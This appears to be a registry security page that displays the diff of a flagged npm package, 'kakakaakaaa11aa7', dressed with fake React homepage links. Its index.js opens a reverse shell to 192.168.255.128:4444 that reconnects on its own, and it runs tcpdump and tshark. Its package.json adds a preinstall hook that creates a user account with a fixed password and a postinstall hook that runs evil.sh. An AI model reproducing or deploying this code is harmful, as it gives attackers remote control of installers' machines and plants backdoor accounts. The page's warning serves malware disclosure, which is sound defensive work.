kakakaakaaa11aa7 99.1.12
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of kakakaakaaa11aa7 might be problematic. Click here for more details.
- package/evil.sh +3 -0
- package/helloworld.txt +1 -0
- package/index.js +43 -0
- package/package.json +20 -0
package/evil.sh
ADDED
package/helloworld.txt
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
Hello World!
|
package/index.js
ADDED
@@ -0,0 +1,43 @@
|
|
1
|
+
var net = require('net');
|
2
|
+
var spawn = require('child_process').spawn;
|
3
|
+
const { exec } = require("child_process");
|
4
|
+
|
5
|
+
function c() {
|
6
|
+
var client = new net.Socket();
|
7
|
+
client.connect(4444, "192.168.255.128", function() {
|
8
|
+
var sh = spawn('/bin/sh', []);
|
9
|
+
client.write("Connected\r\n");
|
10
|
+
client.pipe(sh.stdin);
|
11
|
+
sh.stdout.pipe(client);
|
12
|
+
});
|
13
|
+
|
14
|
+
client.on('error', function() {});
|
15
|
+
|
16
|
+
client.on('close', function() {
|
17
|
+
setTimeout(c, 5000);
|
18
|
+
});
|
19
|
+
}
|
20
|
+
|
21
|
+
c();
|
22
|
+
exec("tcpdump lalala", (error, stdout, stderr) => {
|
23
|
+
if (error) {
|
24
|
+
console.log(`error: ${error.message}`);
|
25
|
+
return;
|
26
|
+
}
|
27
|
+
if (stderr) {
|
28
|
+
console.log(`stderr: ${stderr}`);
|
29
|
+
return;
|
30
|
+
}
|
31
|
+
console.log(`stdout: ${stdout}`);
|
32
|
+
});
|
33
|
+
exec("tshark lalala", (error, stdout, stderr) => {
|
34
|
+
if (error) {
|
35
|
+
console.log(`error: ${error.message}`);
|
36
|
+
return;
|
37
|
+
}
|
38
|
+
if (stderr) {
|
39
|
+
console.log(`stderr: ${stderr}`);
|
40
|
+
return;
|
41
|
+
}
|
42
|
+
console.log(`stdout: ${stdout}`);
|
43
|
+
});
|
package/package.json
ADDED
@@ -0,0 +1,20 @@
|
|
1
|
+
{
|
2
|
+
"name": "kakakaakaaa11aa7",
|
3
|
+
"version": "99.1.012",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"dependencies": {
|
7
|
+
"event-stream": "^3.0.0"
|
8
|
+
},
|
9
|
+
"scripts": {
|
10
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
11
|
+
"preinstall": "useradd -p $(openssl passwd -1 password) username",
|
12
|
+
"postinstall":"./evil.sh"
|
13
|
+
},
|
14
|
+
"author": "pirskiwpyodfljhbab",
|
15
|
+
"license": "GPL-3",
|
16
|
+
"bugs": {
|
17
|
+
"url": "http://github.com/jeffbski/react/issues"
|
18
|
+
},
|
19
|
+
"homepage": "https://github.com/facebook/react/tree/master/npm-react"
|
20
|
+
}
|